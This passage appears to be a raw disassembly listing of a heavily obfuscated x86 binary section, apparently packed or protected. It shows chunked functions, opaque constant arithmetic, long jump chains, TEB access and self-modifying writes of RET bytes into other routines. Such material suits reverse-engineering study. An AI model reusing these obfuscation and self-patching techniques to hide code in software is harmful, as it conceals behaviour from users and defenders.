; [00000001 BYTES: COLLAPSED FUNCTION nullsub_297. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44D46C:				; CODE XREF: dviuq5id:00458138j
		xor	edx, esi
		sbb	edx, 2749763Ch
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_44D474:				; CODE XREF: sub_443AC1:loc_45811Fj
		or	edx, 304489Dh

loc_44D47A:				; CODE XREF: dviuq5id:loc_4495DDj
					; dviuq5id:loc_44D445j
		jnz	loc_43B072
; END OF FUNCTION CHUNK	FOR sub_443AC1
; START	OF FUNCTION CHUNK FOR sub_43F6CD

loc_44D480:				; CODE XREF: sub_43F6CD:loc_454008j
		or	ecx, ecx
		jz	loc_43EC62
		call	sub_44D49A
		jnz	loc_43EC62
		mov	eax, ebx
		jmp	loc_43EC64
; END OF FUNCTION CHUNK	FOR sub_43F6CD

; =============== S U B	R O U T	I N E =======================================



sub_44D49A	proc near		; CODE XREF: sub_43F6CD+DDBBp
					; sub_44AC6E+63EFp ...

; FUNCTION CHUNK AT 0044419F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446A12 SIZE 0000000A BYTES

		mov	eax, [ebx+ecx]
		jmp	loc_44419F
sub_44D49A	endp

; ---------------------------------------------------------------------------
		sub	ebp, 6EB7D610h
		jmp	sub_4437A9
; ---------------------------------------------------------------------------
		pushf
		or	esi, 0A7433370h
		jmp	sub_4552B2
; ---------------------------------------------------------------------------

loc_44D4B9:				; CODE XREF: dviuq5id:0043D94Cj
		js	loc_44B9C4
		mov	ecx, [eax]
		ror	ebx, 1Dh
		jmp	loc_4420AB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_384. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456053

loc_44D4CA:				; CODE XREF: sub_456053-B65j
		jmp	nullsub_229
; END OF FUNCTION CHUNK	FOR sub_456053
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_44D4CF:				; CODE XREF: sub_44E1C0-955Cj
		jmp	nullsub_342
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_44D4D4:				; CODE XREF: sub_459490:loc_43D139j
		pushf
		jnz	loc_447F1F
		sbb	ebp, 961C8F75h
		jmp	loc_4465C8
; END OF FUNCTION CHUNK	FOR sub_459490
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_449. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440828

loc_44D4E7:				; CODE XREF: sub_440828+4D51j
		jmp	loc_456BF3
; END OF FUNCTION CHUNK	FOR sub_440828
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_44D4EC:				; CODE XREF: sub_4509F7-12FB7j
		jmp	loc_44AFE9
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
		and	esi, 0E72A33B4h
		jmp	sub_43AE92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44D4FC:				; CODE XREF: sub_440898+15728j
		jnz	loc_449F1F

loc_44D502:				; CODE XREF: dviuq5id:loc_4522F2j
		jmp	loc_447DA3
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
		push	ecx
		push	2B941B42h
		pop	ecx
		rol	ecx, 1Dh
		call	sub_4441DD
; START	OF FUNCTION CHUNK FOR sub_44BAF7

loc_44D516:				; CODE XREF: sub_44BAF7-43D4j
		jmp	loc_455A3B
; END OF FUNCTION CHUNK	FOR sub_44BAF7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_289. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_44D51C:				; CODE XREF: sub_45169D-1663Fj
		jmp	loc_452E05
; END OF FUNCTION CHUNK	FOR sub_45169D

; =============== S U B	R O U T	I N E =======================================



sub_44D521	proc near		; DATA XREF: dviuq5id:loc_457366o
		lea	eax, sub_443669
		mov	byte ptr [eax],	0C3h
		jmp	sub_443669
sub_44D521	endp


; =============== S U B	R O U T	I N E =======================================



sub_44D52F	proc near		; CODE XREF: sub_419430+C8p
					; sub_44D52F+5j
					; DATA XREF: ...
		call	sub_44B876
		jmp	ds:off_41D204
sub_44D52F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4592D7

loc_44D53A:				; CODE XREF: sub_4592D7j
		pop	edx
		mov	eax, [esp+0]
		push	esi
		mov	esi, edx
		xchg	esi, [esp+4+var_4]
		jmp	loc_44B5B0
; END OF FUNCTION CHUNK	FOR sub_4592D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_44D549:				; CODE XREF: sub_43FDFB:loc_4484A8j
		jnz	loc_4494B4
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; START	OF FUNCTION CHUNK FOR sub_439013

loc_44D54F:				; CODE XREF: sub_439013+3F7Cj
		jmp	loc_451591
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
		and	edx, ecx
		jmp	loc_4494A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454BEA

loc_44D55B:				; CODE XREF: sub_454BEA+11j
		or	edx, 0CF3E4791h
		sub	edx, 0AB11C5B1h
		xor	edx, 7FC81A7Eh
		add	edx, 0D4DEA720h
		popf
		xchg	edx, [esp-4+arg_0]
		jmp	loc_439B2D
; END OF FUNCTION CHUNK	FOR sub_454BEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DDAC

loc_44D57C:				; CODE XREF: sub_43DDAC+9j
		pop	eax
		rol	eax, 9
		test	eax, 4000h
		jmp	loc_44B294
; END OF FUNCTION CHUNK	FOR sub_43DDAC
; ---------------------------------------------------------------------------

locret_44D58B:				; CODE XREF: dviuq5id:loc_43C7C7j
		retn
; ---------------------------------------------------------------------------

loc_44D58C:				; CODE XREF: dviuq5id:0043B7ADj
		jmp	loc_43A2C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450F99

loc_44D591:				; CODE XREF: sub_450F99:loc_4452D3j
		pop	eax
		add	eax, 0E8E22341h
		sub	eax, ds:4000F7h
		xor	eax, 0F5F22EBh
		call	sub_4529AE
; END OF FUNCTION CHUNK	FOR sub_450F99
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_44D5A9:				; CODE XREF: sub_4422EC:loc_43F081j
		xchg	ebx, [esp+4+var_4]
		push	0BC6E7E94h
		xchg	eax, [esp+8+var_8]
		mov	esi, eax
		jmp	loc_440515
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A449

loc_44D5BB:				; CODE XREF: sub_43A449:loc_441CB3j
		call	sub_45A04B

loc_44D5C0:				; CODE XREF: dviuq5id:loc_4427E7j
		push	offset sub_44CE73
		jmp	nullsub_204
; END OF FUNCTION CHUNK	FOR sub_43A449
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_44D5CA:				; CODE XREF: sub_43C9A9:loc_44FFD3j
		test	ecx, 3C83301h
		jmp	loc_457A2C
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44D5D5:				; CODE XREF: sub_439C09+B5C3j
		add	esi, 0FBD13A1Eh

loc_44D5DB:				; CODE XREF: sub_439C09:loc_4536E7j
		call	sub_44D5EB
		retn
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DFB8

loc_44D5E1:				; CODE XREF: sub_44DFB8+Ej
		jmp	nullsub_493
; END OF FUNCTION CHUNK	FOR sub_44DFB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442605

loc_44D5E6:				; CODE XREF: sub_442605+9195j
		jmp	nullsub_403
; END OF FUNCTION CHUNK	FOR sub_442605

; =============== S U B	R O U T	I N E =======================================



sub_44D5EB	proc near		; CODE XREF: sub_439C09:loc_44D5DBp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A587 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044601B SIZE 0000000A BYTES

		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp+4+var_4]
		jmp	loc_43A587
sub_44D5EB	endp

; ---------------------------------------------------------------------------

loc_44D5F6:				; CODE XREF: dviuq5id:loc_44F70Fj
		pop	ebx
		rol	ebx, 1Bh
		and	ebx, 4EBF2A61h
		add	ebx, 0B9B184DBh
		xchg	ebx, [esp]
		jmp	sub_453642
; ---------------------------------------------------------------------------

loc_44D60E:				; CODE XREF: dviuq5id:loc_43F365j
		jmp	loc_440D6D
; ---------------------------------------------------------------------------
		jmp	loc_44972F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452089

loc_44D618:				; CODE XREF: sub_443862+6F88j
					; sub_452089+4397j
		mov	eax, large fs:18h
		add	eax, 0DFC5B174h
		add	eax, 203A4EBCh
		mov	eax, [eax]
		jmp	loc_43C5B9
; END OF FUNCTION CHUNK	FOR sub_452089
; ---------------------------------------------------------------------------
		push	43157D2Bh
		pop	edx
		xor	edx, 455E5A2Bh
		or	edx, 345B1E1h
		sub	edx, 804E46EDh
		xor	edx, 6BF7D6EEh
		add	edx, 0B1A30C24h
		push	offset sub_44B1E3
		jmp	locret_441408
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439AA6

loc_44D660:				; CODE XREF: sub_439AA6+204B9j
		add	eax, ebp
		add	eax, 2EBF1E14h
		push	eax
		mov	eax, [ebp+8]
		push	esi
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		call	sub_4512BC
		jmp	loc_4427B6
; END OF FUNCTION CHUNK	FOR sub_439AA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44864B

loc_44D67C:				; CODE XREF: sub_44864B+A697j
		shr	ebx, 0Eh
		jmp	loc_444927
; END OF FUNCTION CHUNK	FOR sub_44864B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_44D684:				; CODE XREF: sub_43BD72:loc_439B6Ej
					; dviuq5id:00446391j
		jnz	loc_448CB2
		jmp	loc_44504E
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4584CA

loc_44D68F:				; CODE XREF: sub_4584CA:loc_4534E9j
		cmp	ecx, 0D9211AD2h
		jmp	loc_44FC47
; END OF FUNCTION CHUNK	FOR sub_4584CA
; ---------------------------------------------------------------------------

loc_44D69A:				; CODE XREF: dviuq5id:loc_458597j
		jz	loc_446217
		jmp	loc_457487
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_44D6A5:				; CODE XREF: sub_43BA0E:loc_45091Bj
		and	esi, 4F5C0B78h
		xor	esi, 3215A185h

loc_44D6B1:				; CODE XREF: dviuq5id:0043B122j
		rol	esi, 2
		call	sub_45A413

loc_44D6B9:				; CODE XREF: dviuq5id:0043F589j
		jle	loc_43EAD8
		mov	ecx, edx
		sbb	edi, esi

loc_44D6C3:				; CODE XREF: sub_44A133:loc_4443CCj
		add	ebx, 0B39FF745h
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_448
		jmp	loc_445E41
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------

loc_44D6D7:				; CODE XREF: dviuq5id:004414ACj
		jp	loc_451382
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_44D6DD:				; CODE XREF: sub_43FAE1:loc_4436A9j
		xor	eax, ds:4000F3h
		sub	eax, 0FF61E22Bh
		add	eax, 8DF939DDh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_458889

loc_44D6F9:				; CODE XREF: dviuq5id:loc_451D5Ej
		jmp	loc_4444A0
; END OF FUNCTION CHUNK	FOR sub_43FAE1

; =============== S U B	R O U T	I N E =======================================



sub_44D6FE	proc near		; DATA XREF: sub_451767+Ao

; FUNCTION CHUNK AT 00444B05 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0045518E SIZE 00000005 BYTES

		push	0CD2B805Eh
		pop	edx

loc_44D704:				; CODE XREF: sub_445F35:loc_444609j
		xor	edx, 0BA468592h
		add	edx, 88D7D924h
		mov	[edx], eax
		jmp	loc_45518E
sub_44D6FE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44D717	proc near		; CODE XREF: dviuq5id:0044B21Ep
					; dviuq5id:00450189j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004459C3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044FD62 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ebp, [esp-4+arg_0]
		push	esi
		push	0FF323124h
		pop	esi
		sub	esi, ds:4000F8h
		add	esi, 0AE4E293Bh
		jmp	loc_44FD62
sub_44D717	endp


; =============== S U B	R O U T	I N E =======================================



sub_44D736	proc near		; CODE XREF: sub_414884+1Cp
					; sub_41BB83+161p ...

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0044416D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004532E8 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00455A08 SIZE 0000000A BYTES

		push	edi
		push	0D5DF19F2h
		xchg	ebp, [esp+8+var_8]
		mov	edi, ebp
		pop	ebp
		rol	edi, 10h
		xor	edi, 172419Eh

loc_44D74B:				; CODE XREF: dviuq5id:00442D70j
		and	edi, 8358A472h

loc_44D751:				; CODE XREF: dviuq5id:00449C76j
		jmp	loc_455A08
sub_44D736	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4399BB

loc_44D756:				; CODE XREF: sub_4399BB+129B8j
		jz	loc_43AEFF
		jno	loc_456C8E
; END OF FUNCTION CHUNK	FOR sub_4399BB
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_44D762:				; CODE XREF: sub_43C4B5+55B0j
					; sub_44A90D:loc_4449C8j ...
		jmp	loc_45476C
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4399BB

loc_44D767:				; CODE XREF: sub_4399BB+7j
					; sub_44A90D+Dj
		xchg	eax, [esp-4+arg_0]
		mov	ecx, eax
		jmp	loc_450D1E
; END OF FUNCTION CHUNK	FOR sub_4399BB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44D772:				; CODE XREF: sub_439C09+12833j
		jmp	loc_445D5E
; END OF FUNCTION CHUNK	FOR sub_439C09
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_522. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_44D778:				; CODE XREF: sub_454228-F38Bj
		jmp	loc_4456C0
; END OF FUNCTION CHUNK	FOR sub_454228
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_365. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_44D77E:				; CODE XREF: sub_445437-4E04j
		jmp	sub_45327C
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------

loc_44D783:				; CODE XREF: dviuq5id:00459AE8j
		sbb	edx, edi
		sub	ebx, ebp
		mov	esi, 8C03B974h
; START	OF FUNCTION CHUNK FOR sub_446004

loc_44D78C:				; CODE XREF: sub_446004+13AD0j
		add	eax, 8D2B94D9h
		call	sub_440898
; END OF FUNCTION CHUNK	FOR sub_446004
; START	OF FUNCTION CHUNK FOR sub_43EFA5

loc_44D797:				; CODE XREF: sub_43EFA5+34B2j
		jmp	loc_44A9E1
; END OF FUNCTION CHUNK	FOR sub_43EFA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6A7

loc_44D79C:				; CODE XREF: sub_43E6A7:loc_453EDEj
		rol	ebx, 1Ch
		ror	edx, 1Dh
		mov	ebp, 5C56CC42h
		jmp	loc_457DE4
; END OF FUNCTION CHUNK	FOR sub_43E6A7
; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_43E10E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_44D7B3:				; CODE XREF: sub_448154:loc_44E13Ej
		add	ecx, 0AC815874h
		xchg	ecx, [esp+0]
		jmp	sub_441C54
; END OF FUNCTION CHUNK	FOR sub_448154
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454FB6

loc_44D7C2:				; CODE XREF: sub_454FB6+27BEj
		jmp	nullsub_15
; END OF FUNCTION CHUNK	FOR sub_454FB6

; =============== S U B	R O U T	I N E =======================================



sub_44D7C7	proc near		; CODE XREF: sub_43B660:loc_452C81j

; FUNCTION CHUNK AT 0043E5E3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044DDC7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0045739C SIZE 00000005 BYTES

		push	ebx
		push	1BDB920Dh
		pop	ebx
		rol	ebx, 14h
		add	ebx, 0DF7013CBh
		jmp	loc_44DDC7
sub_44D7C7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_44D7DC:				; CODE XREF: sub_44119E:loc_43C674j
					; sub_44646F-9664j ...
		jmp	loc_4578B2
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44119E

loc_44D7E1:				; CODE XREF: sub_44119E+Dj
					; sub_44646F+B87Aj
		push	offset loc_44D337
		jmp	loc_444B68
; END OF FUNCTION CHUNK	FOR sub_44119E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44118B

loc_44D7EB:				; CODE XREF: sub_44118B:loc_443719j
		call	sub_444A06
; END OF FUNCTION CHUNK	FOR sub_44118B
; START	OF FUNCTION CHUNK FOR sub_447ADF

loc_44D7F0:				; CODE XREF: sub_447ADF+12j
		jmp	loc_43CD3F
; END OF FUNCTION CHUNK	FOR sub_447ADF
; ---------------------------------------------------------------------------

loc_44D7F5:				; CODE XREF: dviuq5id:00445C77j
		jmp	loc_448610
; ---------------------------------------------------------------------------

loc_44D7FA:				; CODE XREF: dviuq5id:0043E939j
		jmp	nullsub_193
; ---------------------------------------------------------------------------

loc_44D7FF:				; CODE XREF: dviuq5id:loc_43FC22j
		mov	edi, edx
		xchg	edi, [esp]
		call	sub_445A59

loc_44D809:				; CODE XREF: dviuq5id:00453CCBj
		mov	eax, 0C0F1A028h
		jmp	loc_43BB16
; ---------------------------------------------------------------------------

loc_44D813:				; CODE XREF: dviuq5id:00449F6Fj
		push	ecx

; =============== S U B	R O U T	I N E =======================================



sub_44D814	proc near		; CODE XREF: sub_43BD72:loc_43C1ACp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043F5BD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044B365 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044E73F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004595FE SIZE 00000015 BYTES

		xchg	edi, [esp+4+var_4]
		pop	edi
		mov	eax, [esp+0]
		jmp	loc_4595FE
sub_44D814	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44D820	proc near		; CODE XREF: sub_4547E2-77C5j

; FUNCTION CHUNK AT 00452EF5 SIZE 0000000B BYTES

		push	ebx
		shr	ebx, 0Fh
		jmp	loc_452EF5
sub_44D820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F23F

loc_44D829:				; CODE XREF: sub_44F23F:loc_43E524j
		xchg	edi, [esp+0]
		mov	esp, ebp

loc_44D82E:				; CODE XREF: dviuq5id:loc_4436DDj
		xchg	esi, [esp+0]
		mov	ebp, esi
		jmp	loc_441EED
; END OF FUNCTION CHUNK	FOR sub_44F23F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458BA4

loc_44D838:				; CODE XREF: sub_458BA4:loc_43ECC8j
		jnz	loc_44A69D
		jmp	loc_450ADF
; END OF FUNCTION CHUNK	FOR sub_458BA4
; ---------------------------------------------------------------------------

locret_44D843:				; CODE XREF: dviuq5id:00445ABAj
		retn
; ---------------------------------------------------------------------------

loc_44D844:				; CODE XREF: dviuq5id:0045695Bj
		jmp	locret_44ABFE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_286. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408FF

loc_44D84A:				; CODE XREF: sub_4408FF+17726j
		jmp	loc_43AE19
; END OF FUNCTION CHUNK	FOR sub_4408FF
; ---------------------------------------------------------------------------

loc_44D84F:				; CODE XREF: dviuq5id:0043D55Bj
		jmp	sub_43D28E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_44D854:				; CODE XREF: sub_45383B:loc_43C706j
		jnz	loc_43C757
		jmp	loc_4483C9
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
		push	ecx

loc_44D860:				; CODE XREF: dviuq5id:0044DA6Cj
		push	6D311291h
		xchg	ebp, [esp]
		mov	ecx, ebp
		pop	ebp
		or	ecx, 43B3B1EAh

loc_44D871:				; CODE XREF: dviuq5id:0043975Dj
		add	ecx, 286FFE3Eh
		add	ecx, ebp
		jmp	loc_44B7BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_44D87E:				; CODE XREF: sub_4492F0-D156j
					; sub_4492F0:loc_44AE3Aj
		call	sub_443F7F
		push	offset sub_455FF3
		jmp	loc_444047
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4574E7

loc_44D88D:				; CODE XREF: sub_4574E7-CA0j
		jnz	loc_446DE2
		jmp	loc_44699C
; END OF FUNCTION CHUNK	FOR sub_4574E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44D898:				; CODE XREF: sub_43FA59-17E6j
		pop	eax
		or	eax, 0BD66BB43h
		rol	eax, 11h
		xor	eax, 28648016h
		add	eax, ebp
		add	eax, 284C0401h
		mov	eax, [eax]
		mov	esp, ebp
		jmp	loc_440E5A
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_44D8B9:				; DATA XREF: sub_455B54-AFDEo
		push	eax
		push	51BEDC47h
		pop	eax
		add	eax, 8DA5ED2Fh
		sub	eax, 67B62DBEh
		add	eax, 8896BD98h
		xchg	eax, [esp]
		jmp	sub_43CCD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AFDA

loc_44D8DA:				; CODE XREF: sub_44AFDA+Aj
		and	eax, 3107A96Bh
		add	eax, 65F41DF9h
		xor	eax, 5BE1A9FCh
		push	eax
		push	(offset	loc_445D1E+1)
		jmp	nullsub_517
; END OF FUNCTION CHUNK	FOR sub_44AFDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E095

loc_44D8F7:				; CODE XREF: sub_43E095+12138j
		sub	ebp, 0C6ABC137h
		add	ebp, esi

loc_44D8FF:				; CODE XREF: sub_43E095:loc_43FBADj
		mov	eax, [ebp-4]
		push	offset sub_44AAE9
		jmp	nullsub_91
; END OF FUNCTION CHUNK	FOR sub_43E095
; ---------------------------------------------------------------------------

loc_44D90C:				; CODE XREF: dviuq5id:0043F1F4j
					; dviuq5id:0044E348j
		push	42B6F68Bh
		mov	[esi], eax
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_44D913:				; CODE XREF: sub_43C2DA+17098j
		sub	edx, 0AB586EAAh
		add	edx, 0C1001CF0h
		xchg	edx, [esp+0]
		push	esi
		pushf
		push	79CD8C22h
		jmp	loc_44C788
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------

loc_44D92E:				; CODE XREF: dviuq5id:00440592j
		pop	esi
		lea	eax, nullsub_500
		mov	byte ptr [eax],	0C3h
		jmp	near ptr dword_4397D4+2

; =============== S U B	R O U T	I N E =======================================



sub_44D93D	proc near		; CODE XREF: sub_40D20A+11Dp
					; sub_43ADFB:loc_447947j ...
		call	sub_44D948
		jmp	ds:off_41D114
sub_44D93D	endp


; =============== S U B	R O U T	I N E =======================================



sub_44D948	proc near		; CODE XREF: sub_44045F-145j
					; sub_44D93Dp ...

; FUNCTION CHUNK AT 0044501D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00447614 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449A48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BBD7 SIZE 0000000E BYTES

		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		jmp	loc_447614
sub_44D948	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_44D953:				; CODE XREF: sub_43C3D8+9D41j
		lea	eax, [ebp-125h]
		push	eax
		call	sub_441C54
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_43A0F1
		jmp	loc_448A4A
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4458D3

loc_44D971:				; CODE XREF: sub_4458D3:loc_43CACAj
		pop	eax
		or	eax, 0C74D8722h
		add	eax, 7C28BBFAh
		add	eax, ebp
		add	eax, 0A3E7442Bh
		mov	eax, [eax]
		mov	ecx, [eax]
		jmp	loc_4496B6
; END OF FUNCTION CHUNK	FOR sub_4458D3
; ---------------------------------------------------------------------------

locret_44D98F:				; CODE XREF: dviuq5id:0044E9ACj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_44D990:				; CODE XREF: sub_445A59:loc_445340j
					; dviuq5id:00445351j
		rol	eax, 1
		sub	eax, 1DA79E0Ch
		add	eax, 0D4677394h
		call	sub_4597EF

loc_44D9A3:				; CODE XREF: sub_4440E9+749Ej
		jmp	loc_455F0C
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------
		shl	ebp, 19h
		jmp	loc_43DDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_44D9B0:				; CODE XREF: sub_4543C5+9j
		mov	ecx, eax
		pop	eax
		jb	loc_43919C
		jmp	loc_444DAD
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_44D9BE:				; CODE XREF: sub_441DDA+100Aj
		xchg	esi, [esp+0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_441DDA

; =============== S U B	R O U T	I N E =======================================



sub_44D9C6	proc near		; CODE XREF: sub_440898-5656p
					; dviuq5id:00455BFFj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439D28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444DB8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044910B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044CC74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D2CB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044E14F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457831 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[edi], edx
		xchg	ebp, [esp+0]
		mov	edi, ebp
		pop	ebp
		jmp	loc_439D28
sub_44D9C6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44D9D7	proc near		; DATA XREF: sub_44508C:loc_44FBA7o

; FUNCTION CHUNK AT 0043EEC1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00449BF3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00459C95 SIZE 0000000B BYTES

		push	edi
		push	68219A10h
		pop	edi
		add	edi, ds:4000F8h
		or	edi, 5E9A8677h
		sub	edi, 6F0F8762h
		jmp	loc_459C95
sub_44D9D7	endp

; ---------------------------------------------------------------------------

loc_44D9F5:				; CODE XREF: dviuq5id:0044652Bj
		push	0D16FDD42h
		xchg	esi, edi
; START	OF FUNCTION CHUNK FOR sub_454228

loc_44D9FC:				; CODE XREF: sub_454228:loc_44651Aj
		add	edi, 0ABEADFh
		xchg	edi, [esp+14h+var_14]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_44DA0A:				; CODE XREF: sub_448154-1553j
		jl	loc_43B440
		sbb	ecx, edi
; END OF FUNCTION CHUNK	FOR sub_448154
; START	OF FUNCTION CHUNK FOR sub_43E421

